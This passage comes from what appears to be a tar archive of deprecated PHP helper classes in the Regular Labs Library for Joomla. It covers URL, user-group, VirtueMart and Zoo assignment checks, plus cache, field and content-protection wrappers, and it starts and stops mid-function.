->where('s.params = ' . $this->db->quote($params))
->setLimit(1);
$this->db->setQuery($query);
$template->id = $this->db->loadResult('id');
if ($template->id)
{
return $template;
}
// No template style id is found, so just grab the first result based on
the template name
$query->clear('where')
->where('s.client_id = 0')
->where('s.template = ' .
$this->db->quote($template->template))
->setLimit(1);
$this->db->setQuery($query);
$template->id = $this->db->loadResult('id');
return $template;
}
}
helpers/assignments/urls.php000064400000003401151167425550012250
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
/* @DEPRECATED */
defined('_JEXEC') or die;
use Joomla\CMS\Uri\Uri as JUri;
if (is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
}
require_once dirname(__DIR__) . '/assignment.php';
require_once dirname(__DIR__) . '/text.php';
class RLAssignmentsURLs extends RLAssignment
{
public function passURLs()
{
$regex = isset($this->params->regex) ? $this->params->regex :
0;
if ( ! is_array($this->selection))
{
$this->selection = explode("\n", $this->selection);
}
if (count($this->selection) == 1)
{
$this->selection = explode("\n", $this->selection[0]);
}
$url = JUri::getInstance();
$url = $url->toString();
$urls = [
RLText::html_entity_decoder(urldecode($url)),
urldecode($url),
RLText::html_entity_decoder($url),
$url,
];
$urls = array_unique($urls);
$pass = false;
foreach ($urls as $url)
{
foreach ($this->selection as $s)
{
$s = trim($s);
if ($s == '')
{
continue;
}
if ($regex)
{
$url_part = str_replace(['#', '&'],
['\#', '(&|&)'], $s);
$s = '#' . $url_part . '#si';
if (@preg_match($s . 'u', $url) || @preg_match($s, $url))
{
$pass = true;
break;
}
continue;
}
if (strpos($url, $s) !== false)
{
$pass = true;
break;
}
}
if ($pass)
{
break;
}
}
return $this->pass($pass);
}
}
helpers/assignments/users.php000064400000007123151167425550012431
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
/* @DEPRECATED */
defined('_JEXEC') or die;
use Joomla\CMS\Factory as JFactory;
if (is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
}
require_once dirname(__DIR__) . '/assignment.php';
class RLAssignmentsUsers extends RLAssignment
{
public function passAccessLevels()
{
$user = JFactory::getUser();
$levels = $user->getAuthorisedViewLevels();
$this->selection =
$this->convertAccessLevelNamesToIds($this->selection);
return $this->passSimple($levels);
}
public function passUserGroupLevels()
{
$user = JFactory::getUser();
if ( ! empty($user->groups))
{
$groups = array_values($user->groups);
}
else
{
$groups = $user->getAuthorisedGroups();
}
if ($this->params->inc_children)
{
$this->setUserGroupChildrenIds();
}
$this->selection =
$this->convertUsergroupNamesToIds($this->selection);
return $this->passSimple($groups);
}
public function passUsers()
{
return $this->passSimple(JFactory::getUser()->get('id'));
}
private function convertAccessLevelNamesToIds($selection)
{
$names = [];
foreach ($selection as $i => $level)
{
if (is_numeric($level))
{
continue;
}
unset($selection[$i]);
$names[] = strtolower(str_replace(' ', '', $level));
}
$db = JFactory::getDbo();
$query = $db->getQuery(true)
->select($db->quoteName('id'))
->from('#__viewlevels')
->where('LOWER(REPLACE(' .
$db->quoteName('title') . ', " ",
"")) IN (\'' . implode('\',\'',
$names) . '\')');
$db->setQuery($query);
$level_ids = $db->loadColumn();
return array_unique(array_merge($selection, $level_ids));
}
private function convertUsergroupNamesToIds($selection)
{
$names = [];
foreach ($selection as $i => $group)
{
if (is_numeric($group))
{
continue;
}
unset($selection[$i]);
$names[] = strtolower(str_replace(' ', '', $group));
}
$db = JFactory::getDbo();
$query = $db->getQuery(true)
->select($db->quoteName('id'))
->from('#__usergroups')
->where('LOWER(REPLACE(' .
$db->quoteName('title') . ', " ",
"")) IN (\'' . implode('\',\'',
$names) . '\')');
$db->setQuery($query);
$group_ids = $db->loadColumn();
return array_unique(array_merge($selection, $group_ids));
}
private function setUserGroupChildrenIds()
{
$children = $this->getUserGroupChildrenIds($this->selection);
if ($this->params->inc_children == 2)
{
$this->selection = $children;
return;
}
$this->selection = array_merge($this->selection, $children);
}
private function getUserGroupChildrenIds($groups)
{
$children = [];
$db = JFactory::getDbo();
foreach ($groups as $group)
{
$query = $db->getQuery(true)
->select($db->quoteName('id'))
->from($db->quoteName('#__usergroups'))
->where($db->quoteName('parent_id') . ' = ' .
(int) $group);
$db->setQuery($query);
$group_children = $db->loadColumn();
if (empty($group_children))
{
continue;
}
$children = array_merge($children, $group_children);
$group_grand_children =
$this->getUserGroupChildrenIds($group_children);
if (empty($group_grand_children))
{
continue;
}
$children = array_merge($children, $group_grand_children);
}
$children = array_unique($children);
return $children;
}
}
helpers/assignments/virtuemart.php000064400000010021151167425550013461
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
/* @DEPRECATED */
defined('_JEXEC') or die;
use Joomla\CMS\Factory as JFactory;
if (is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
}
require_once dirname(__DIR__) . '/assignment.php';
class RLAssignmentsVirtueMart extends RLAssignment
{
public function init()
{
$virtuemart_product_id =
JFactory::getApplication()->input->get('virtuemart_product_id',
[], 'array');
$virtuemart_category_id =
JFactory::getApplication()->input->get('virtuemart_category_id',
[], 'array');
$this->request->item_id = isset($virtuemart_product_id[0]) ?
$virtuemart_product_id[0] : null;
$this->request->category_id = isset($virtuemart_category_id[0]) ?
$virtuemart_category_id[0] : null;
$this->request->id = ($this->request->item_id) ?
$this->request->item_id : $this->request->category_id;
}
public function passPageTypes()
{
// Because VM sucks, we have to get the view again
$this->request->view =
JFactory::getApplication()->input->getString('view');
return $this->passByPageTypes('com_virtuemart',
$this->selection, $this->assignment, true);
}
public function passCategories()
{
if ($this->request->option != 'com_virtuemart')
{
return $this->pass(false);
}
// Because VM sucks, we have to get the view again
$this->request->view =
JFactory::getApplication()->input->getString('view');
$pass = (($this->params->inc_categories &&
in_array($this->request->view, ['categories',
'category']))
|| ($this->params->inc_items && $this->request->view
== 'productdetails')
);
if ( ! $pass)
{
return $this->pass(false);
}
$cats = [];
if ($this->request->view == 'productdetails' &&
$this->request->item_id)
{
$query = $this->db->getQuery(true)
->select('x.virtuemart_category_id')
->from('#__virtuemart_product_categories AS x')
->where('x.virtuemart_product_id = ' . (int)
$this->request->item_id);
$this->db->setQuery($query);
$cats = $this->db->loadColumn();
}
else if ($this->request->category_id)
{
$cats = $this->request->category_id;
if ( ! is_numeric($cats))
{
$query = $this->db->getQuery(true)
->select('config')
->from('#__virtuemart_configs')
->where('virtuemart_config_id = 1');
$this->db->setQuery($query);
$config = $this->db->loadResult();
$lang = substr($config, strpos($config, 'vmlang='));
$lang = substr($lang, 0, strpos($lang, '|'));
if (preg_match('#"([^"]*_[^"]*)"#',
$lang, $lang))
{
$lang = $lang[1];
}
else
{
$lang = 'en_gb';
}
$query = $this->db->getQuery(true)
->select('l.virtuemart_category_id')
->from('#__virtuemart_categories_' . $lang . ' AS
l')
->where('l.slug = ' . $this->db->quote($cats));
$this->db->setQuery($query);
$cats = $this->db->loadResult();
}
}
$cats = $this->makeArray($cats);
$pass = $this->passSimple($cats, 'include');
if ($pass && $this->params->inc_children == 2)
{
return $this->pass(false);
}
if ( ! $pass && $this->params->inc_children)
{
foreach ($cats as $cat)
{
$cats = array_merge($cats, $this->getCatParentIds($cat));
}
}
return $this->passSimple($cats);
}
public function passProducts()
{
// Because VM sucks, we have to get the view again
$this->request->view =
JFactory::getApplication()->input->getString('view');
if ( ! $this->request->id || $this->request->option !=
'com_virtuemart' || $this->request->view !=
'productdetails')
{
return $this->pass(false);
}
return $this->passSimple($this->request->id);
}
private function getCatParentIds($id = 0)
{
return $this->getParentIds($id,
'virtuemart_category_categories', 'category_parent_id',
'category_child_id');
}
}
helpers/assignments/zoo.php000064400000013015151167425550012074
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
/* @DEPRECATED */
defined('_JEXEC') or die;
use Joomla\CMS\Factory as JFactory;
if (is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
}
require_once dirname(__DIR__) . '/assignment.php';
class RLAssignmentsZoo extends RLAssignment
{
public function init()
{
if ( ! $this->request->view)
{
$this->request->view = $this->request->task;
}
switch ($this->request->view)
{
case 'item':
$this->request->idname = 'item_id';
break;
case 'category':
$this->request->idname = 'category_id';
break;
}
$this->request->id =
JFactory::getApplication()->input->getInt($this->request->idname,
0);
}
public function initAssignment($assignment, $article = 0)
{
parent::initAssignment($assignment, $article);
if ($this->request->option != 'com_zoo' && !
isset($this->request->idname))
{
return;
}
switch ($this->request->idname)
{
case 'item_id':
$this->request->view = 'item';
break;
case 'category_id':
$this->request->view = 'category';
break;
}
}
public function passPageTypes()
{
return $this->passByPageTypes('com_zoo',
$this->selection, $this->assignment);
}
public function passCategories()
{
if ($this->request->option != 'com_zoo')
{
return $this->pass(false);
}
$pass = (
($this->params->inc_apps && $this->request->view ==
'frontpage')
|| ($this->params->inc_categories &&
$this->request->view == 'category')
|| ($this->params->inc_items && $this->request->view
== 'item')
);
if ( ! $pass)
{
return $this->pass(false);
}
$cats = $this->getCategories();
if ($cats === false)
{
return $this->pass(false);
}
$cats = $this->makeArray($cats);
$pass = $this->passSimple($cats, 'include');
if ($pass && $this->params->inc_children == 2)
{
return $this->pass(false);
}
if ( ! $pass && $this->params->inc_children)
{
foreach ($cats as $cat)
{
$cats = array_merge($cats, $this->getCatParentIds($cat));
}
}
return $this->passSimple($cats);
}
private function getCategories()
{
if ($this->article && isset($this->article->catid))
{
return [$this->article->catid];
}
$menuparams = $this->getMenuItemParams($this->request->Itemid);
switch ($this->request->view)
{
case 'frontpage':
if ($this->request->id)
{
return [$this->request->id];
}
if ( ! isset($menuparams->application))
{
return [];
}
return ['app' . $menuparams->application];
case 'category':
$cats = [];
if ($this->request->id)
{
$cats[] = $this->request->id;
}
else if (isset($menuparams->category))
{
$cats[] = $menuparams->category;
}
if (empty($cats[0]))
{
return [];
}
$query = $this->db->getQuery(true)
->select('c.application_id')
->from('#__zoo_category AS c')
->where('c.id = ' . (int) $cats[0]);
$this->db->setQuery($query);
$cats[] = 'app' . $this->db->loadResult();
return $cats;
case 'item':
$id = $this->request->id;
if ( ! $id && isset($menuparams->item_id))
{
$id = $menuparams->item_id;
}
if ( ! $id)
{
return [];
}
$query = $this->db->getQuery(true)
->select('c.category_id')
->from('#__zoo_category_item AS c')
->where('c.item_id = ' . (int) $id)
->where('c.category_id != 0');
$this->db->setQuery($query);
$cats = $this->db->loadColumn();
$query = $this->db->getQuery(true)
->select('i.application_id')
->from('#__zoo_item AS i')
->where('i.id = ' . (int) $id);
$this->db->setQuery($query);
$cats[] = 'app' . $this->db->loadResult();
return $cats;
default:
return false;
}
}
public function passItems()
{
if ( ! $this->request->id || $this->request->option !=
'com_zoo')
{
return $this->pass(false);
}
if ($this->request->view != 'item')
{
return $this->pass(false);
}
$pass = false;
// Pass Article Id
if ( ! $this->passItemByType($pass, 'ContentIds'))
{
return $this->pass(false);
}
// Pass Authors
if ( ! $this->passItemByType($pass, 'Authors'))
{
return $this->pass(false);
}
return $this->pass($pass);
}
public function getItem($fields = [])
{
$query = $this->db->getQuery(true)
->select($fields)
->from('#__zoo_item')
->where('id = ' . (int) $this->request->id);
$this->db->setQuery($query);
return $this->db->loadObject();
}
private function getCatParentIds($id = 0)
{
$parent_ids = [];
if ( ! $id)
{
return $parent_ids;
}
while ($id)
{
if (substr($id, 0, 3) == 'app')
{
$parent_ids[] = $id;
break;
}
$query = $this->db->getQuery(true)
->select('c.parent')
->from('#__zoo_category AS c')
->where('c.id = ' . (int) $id);
$this->db->setQuery($query);
$pid = $this->db->loadResult();
if ( ! $pid)
{
$query = $this->db->getQuery(true)
->select('c.application_id')
->from('#__zoo_category AS c')
->where('c.id = ' . (int) $id);
$this->db->setQuery($query);
$app = $this->db->loadResult();
if ($app)
{
$parent_ids[] = 'app' . $app;
}
break;
}
$parent_ids[] = $pid;
$id = $pid;
}
return $parent_ids;
}
}
helpers/assignments.php000064400000002132151167425550011263
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
/* @DEPRECATED */
defined('_JEXEC') or die;
use RegularLabs\Library\Conditions as RL_Conditions;
if (is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
}
class RLAssignmentsHelper
{
function passAll($assignments, $matching_method = 'all', $item =
0)
{
return RL_Conditions::pass($assignments, $matching_method, $item);
}
public function getAssignmentsFromParams(&$params)
{
return RL_Conditions::getConditionsFromParams($params);
}
public function getAssignmentsFromTagAttributes(&$params, $types = [])
{
return RL_Conditions::getConditionsFromTagAttributes($params, $types);
}
public function hasAssignments(&$assignments)
{
return RL_Conditions::hasConditions($assignments);
}
}
helpers/cache.php000064400000001734151167425550010002 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
/* @DEPRECATED */
defined('_JEXEC') or die;
use RegularLabs\Library\Cache as RL_Cache;
if (is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
}
class RLCache
{
static $cache = [];
public static function has($id)
{
return RL_Cache::has($id);
}
public static function get($id)
{
return RL_Cache::get($id);
}
public static function set($id, $data)
{
return RL_Cache::set($id, $data);
}
public static function read($id)
{
return RL_Cache::read($id);
}
public static function write($id, $data, $ttl = 0)
{
return RL_Cache::write($id, $data, $ttl);
}
}
helpers/field.php000064400000001070151167425550010013 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
/* @DEPRECATED */
defined('_JEXEC') or die;
if (is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
}
class RLFormField
extends \RegularLabs\Library\Field
{
}
helpers/functions.php000064400000010562151167425550010746 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
/* @DEPRECATED */
defined('_JEXEC') or die;
use RegularLabs\Library\Document as RL_Document;
use RegularLabs\Library\Extension as RL_Extension;
use RegularLabs\Library\File as RL_File;
use RegularLabs\Library\Http as RL_Http;
use RegularLabs\Library\Language as RL_Language;
use RegularLabs\Library\Xml as RL_Xml;
if (is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
}
/**
* Framework Functions
*/
class RLFunctions
{
public static function getContents($url, $timeout = 20)
{
return ! class_exists('RegularLabs\Library\Http') ?
'' : RL_Http::get($url, $timeout);
}
public static function getByUrl($url, $timeout = 20)
{
return ! class_exists('RegularLabs\Library\Http') ?
'' : RL_Http::getFromServer($url, $timeout);
}
public static function isFeed()
{
return class_exists('RegularLabs\Library\Document') &&
RL_Document::isFeed();
}
public static function script($file, $version = '')
{
class_exists('RegularLabs\Library\Document') &&
RL_Document::script($file, $version);
}
public static function stylesheet($file, $version = '')
{
class_exists('RegularLabs\Library\Document') &&
RL_Document::stylesheet($file, $version);
}
public static function addScriptVersion($url)
{
jimport('joomla.filesystem.file');
$version = '';
if (file_exists(JPATH_SITE . $url))
{
$version = filemtime(JPATH_SITE . $url);
}
self::script($url, $version);
}
public static function addStyleSheetVersion($url)
{
jimport('joomla.filesystem.file');
$version = '';
if (file_exists(JPATH_SITE . $url))
{
$version = filemtime(JPATH_SITE . $url);
}
self::stylesheet($url, $version);
}
protected static function getFileByFolder($folder, $file)
{
return ! class_exists('RegularLabs\Library\File') ?
'' : RL_File::getMediaFile($folder, $file);
}
public static function getComponentBuffer()
{
return ! class_exists('RegularLabs\Library\Document') ?
'' : RL_Document::getBuffer();
}
public static function getAliasAndElement(&$name)
{
return ! class_exists('RegularLabs\Library\Extension') ?
'' : RL_Extension::getAliasAndElement($name);
}
public static function getNameByAlias($alias)
{
return ! class_exists('RegularLabs\Library\Extension') ?
'' : RL_Extension::getNameByAlias($alias);
}
public static function getAliasByName($name)
{
return ! class_exists('RegularLabs\Library\Extension') ?
'' : RL_Extension::getAliasByName($name);
}
public static function getElementByAlias($alias)
{
return ! class_exists('RegularLabs\Library\Extension') ?
'' : RL_Extension::getElementByAlias($alias);
}
public static function getXMLValue($key, $alias, $type =
'component', $folder = 'system')
{
return ! class_exists('RegularLabs\Library\Extension') ?
'' : RL_Extension::getXMLValue($key, $alias, $type, $folder);
}
public static function getXML($alias, $type = 'component',
$folder = 'system')
{
return ! class_exists('RegularLabs\Library\Extension') ?
'' : RL_Extension::getXML($alias, $type, $folder);
}
public static function getXMLFile($alias, $type = 'component',
$folder = 'system')
{
return ! class_exists('RegularLabs\Library\Extension') ?
'' : RL_Extension::getXMLFile($alias, $type, $folder);
}
public static function extensionInstalled($extension, $type =
'component', $folder = 'system')
{
return ! class_exists('RegularLabs\Library\Extension') ?
'' : RL_Extension::isInstalled($extension, $type, $folder);
}
public static function getExtensionPath($extension =
'plg_system_regularlabs', $basePath = JPATH_ADMINISTRATOR,
$check_folder = '')
{
return ! class_exists('RegularLabs\Library\Extension') ?
'' : RL_Extension::getPath($extension, $basePath, $check_folder);
}
public static function loadLanguage($extension =
'plg_system_regularlabs', $basePath = '', $reload =
false)
{
return class_exists('RegularLabs\Library\Language') &&
RL_Language::load($extension, $basePath, $reload);
}
public static function xmlToObject($url, $root = '')
{
return ! class_exists('RegularLabs\Library\Xml') ? ''
: RL_Xml::toObject($url, $root);
}
}
helpers/groupfield.php000064400000001102151167425550011064 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
/* @DEPRECATED */
defined('_JEXEC') or die;
if (is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
}
class RLFormGroupField
extends \RegularLabs\Library\FieldGroup
{
}
helpers/helper.php000064400000003406151167425550010214 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
defined('_JEXEC') or die;
use RegularLabs\Library\Article as RL_Article;
use RegularLabs\Library\Cache as RL_Cache;
use RegularLabs\Library\Document as RL_Document;
use RegularLabs\Library\Parameters as RL_Parameters;
if (is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
}
class RLHelper
{
public static function getPluginHelper($plugin, $params = null)
{
if ( ! class_exists('RegularLabs\Library\Cache'))
{
return null;
}
$hash = md5('getPluginHelper_' .
$plugin->get('_type') . '_' .
$plugin->get('_name') . '_' . json_encode($params));
if (RL_Cache::has($hash))
{
return RL_Cache::get($hash);
}
if ( ! $params)
{
$params =
RL_Parameters::getInstance()->getPluginParams($plugin->get('_name'));
}
$file = JPATH_PLUGINS . '/' .
$plugin->get('_type') . '/' .
$plugin->get('_name') . '/helper.php';
if ( ! is_file($file))
{
return null;
}
require_once $file;
$class = get_class($plugin) . 'Helper';
return RL_Cache::set(
$hash,
new $class($params)
);
}
public static function processArticle(&$article, &$context,
&$helper, $method, $params = [])
{
class_exists('RegularLabs\Library\Article') &&
RL_Article::process($article, $context, $helper, $method, $params);
}
public static function isCategoryList($context)
{
return class_exists('RegularLabs\Library\Document') &&
RL_Document::isCategoryList($context);
}
}
helpers/html.php000064400000001656151167425550007706 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
/* @DEPRECATED */
defined('_JEXEC') or die;
use RegularLabs\Library\Form as RL_Form;
if (is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
}
class RLHtml
{
static function selectlist(&$options, $name, $value, $id, $size = 0,
$multiple = 0, $simple = 0)
{
return RL_Form::selectList($options, $name, $value, $id, $size,
$multiple, $simple);
}
static function selectlistsimple(&$options, $name, $value, $id, $size
= 0, $multiple = 0)
{
return RL_Form::selectListSimple($options, $name, $value, $id, $size,
$multiple);
}
}
helpers/htmlfix.php000064400000001205151167425550010403 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
/* @DEPRECATED */
defined('_JEXEC') or die;
use RegularLabs\Library\Html as RL_Html;
if (is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
}
class RLHtmlFix
{
public static function _($string)
{
return RL_Html::fix($string);
}
}
helpers/licenses.php000064400000001354151167425550010542 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
/* @DEPRECATED */
defined('_JEXEC') or die;
use RegularLabs\Library\License as RL_License;
if (is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
}
class RLLicenses
{
public static function render($name, $check_pro = false)
{
return ! class_exists('RegularLabs\Library\License') ?
'' : RL_License::getMessage($name, $check_pro);
}
}
helpers/mobile_detect.php000064400000001232151167425550011527
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
/* @DEPRECATED */
defined('_JEXEC') or die;
if (is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
}
class RLMobile_Detect extends \RegularLabs\Library\MobileDetect
{
public function isMac()
{
return $this->match('(Mac OS|Mac_PowerPC|Macintosh)');
}
}
helpers/parameters.php000064400000001236151167425550011077 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
/* @DEPRECATED */
defined('_JEXEC') or die;
use RegularLabs\Library\Parameters as RL_Parameters;
if (is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
}
class RLParameters
{
public static function getInstance()
{
return RL_Parameters::getInstance();
}
}
helpers/protect.php000064400000014604151167425550010417 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
/* @DEPRECATED */
defined('_JEXEC') or die;
use RegularLabs\Library\Document as RL_Document;
use RegularLabs\Library\Protect as RL_Protect;
if (is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
}
class RLProtect
{
public static function isProtectedPage($extension_alias = '',
$hastags = false, $exclude_formats = ['pdf'])
{
if ( ! class_exists('RegularLabs\Library\Protect'))
{
return true;
}
if (RL_Protect::isDisabledByUrl($extension_alias))
{
return true;
}
return class_exists('RegularLabs\Library\Protect') &&
RL_Protect::isRestrictedPage($hastags, $exclude_formats);
}
public static function isAdmin($block_login = false)
{
return class_exists('RegularLabs\Library\Document') &&
RL_Document::isAdmin($block_login);
}
public static function isEditPage()
{
return class_exists('RegularLabs\Library\Document') &&
RL_Document::isEditPage();
}
public static function isRestrictedComponent($restricted_components, $area
= 'component')
{
return class_exists('RegularLabs\Library\Protect') &&
RL_Protect::isRestrictedComponent($restricted_components, $area);
}
public static function isComponentInstalled($extension_alias)
{
return class_exists('RegularLabs\Library\Protect') &&
RL_Protect::isComponentInstalled($extension_alias);
}
public static function isSystemPluginInstalled($extension_alias)
{
return class_exists('RegularLabs\Library\Protect') &&
RL_Protect::isSystemPluginInstalled($extension_alias);
}
public static function getFormRegex($regex_format = false)
{
return class_exists('RegularLabs\Library\Protect') &&
RL_Protect::getFormRegex($regex_format);
}
public static function protectFields(&$string, $search_strings = [])
{
class_exists('RegularLabs\Library\Protect') &&
RL_Protect::protectFields($string, $search_strings);
}
public static function protectScripts(&$string)
{
class_exists('RegularLabs\Library\Protect') &&
RL_Protect::protectScripts($string);
}
public static function protectHtmlTags(&$string)
{
class_exists('RegularLabs\Library\Protect') &&
RL_Protect::protectHtmlTags($string);
}
public static function protectByRegex(&$string, $regex)
{
class_exists('RegularLabs\Library\Protect') &&
RL_Protect::protectByRegex($string, $regex);
}
public static function protectTags(&$string, $tags = [],
$include_closing_tags = true)
{
class_exists('RegularLabs\Library\Protect') &&
RL_Protect::protectTags($string, $tags, $include_closing_tags);
}
public static function unprotectTags(&$string, $tags = [],
$include_closing_tags = true)
{
class_exists('RegularLabs\Library\Protect') &&
RL_Protect::unprotectTags($string, $tags, $include_closing_tags);
}
public static function protectInString(&$string, $unprotected = [],
$protected = [])
{
class_exists('RegularLabs\Library\Protect') &&
RL_Protect::protectInString($string, $unprotected, $protected);
}
public static function unprotectInString(&$string, $unprotected = [],
$protected = [])
{
class_exists('RegularLabs\Library\Protect') &&
RL_Protect::unprotectInString($string, $unprotected, $protected);
}
public static function protectSourcerer(&$string)
{
class_exists('RegularLabs\Library\Protect') &&
RL_Protect::protectSourcerer($string);
}
public static function protectForm(&$string, $tags = [],
$include_closing_tags = true)
{
class_exists('RegularLabs\Library\Protect') &&
RL_Protect::protectForm($string, $tags, $include_closing_tags);
}
public static function unprotect(&$string)
{
class_exists('RegularLabs\Library\Protect') &&
RL_Protect::unprotect($string);
}
public static function convertProtectionToHtmlSafe(&$string)
{
class_exists('RegularLabs\Library\Protect') &&
RL_Protect::convertProtectionToHtmlSafe($string);
}
public static function unprotectHtmlSafe(&$string)
{
class_exists('RegularLabs\Library\Protect') &&
RL_Protect::unprotectHtmlSafe($string);
}
public static function protectString($string, $is_tag = false)
{
return class_exists('RegularLabs\Library\Protect') &&
RL_Protect::protectString($string, $is_tag);
}
public static function unprotectString($string, $is_tag = false)
{
return class_exists('RegularLabs\Library\Protect') &&
RL_Protect::unprotectString($string, $is_tag);
}
public static function protectTag($string)
{
return class_exists('RegularLabs\Library\Protect') &&
RL_Protect::protectTag($string);
}
public static function protectArray($array, $is_tag = false)
{
return class_exists('RegularLabs\Library\Protect') &&
RL_Protect::protectArray($array, $is_tag);
}
public static function unprotectArray($array, $is_tag = false)
{
return class_exists('RegularLabs\Library\Protect') &&
RL_Protect::unprotectArray($array, $is_tag);
}
public static function unprotectForm(&$string, $tags = [])
{
class_exists('RegularLabs\Library\Protect') &&
RL_Protect::unprotectForm($string, $tags);
}
public static function removeInlineComments(&$string, $name)
{
class_exists('RegularLabs\Library\Protect') &&
RL_Protect::removeInlineComments($string, $name);
}
public static function removePluginTags(&$string, $tags,
$character_start = '{', $character_end = '{',
$keep_content = true)
{
class_exists('RegularLabs\Library\Protect') &&
RL_Protect::removePluginTags($string, $tags, $character_start,
$character_end, $keep_content);
}
public static function removeFromHtmlTagContent(&$string, $tags,
$include_closing_tags = true, $html_tags = ['title'])
{
class_exists('RegularLabs\Library\Protect') &&
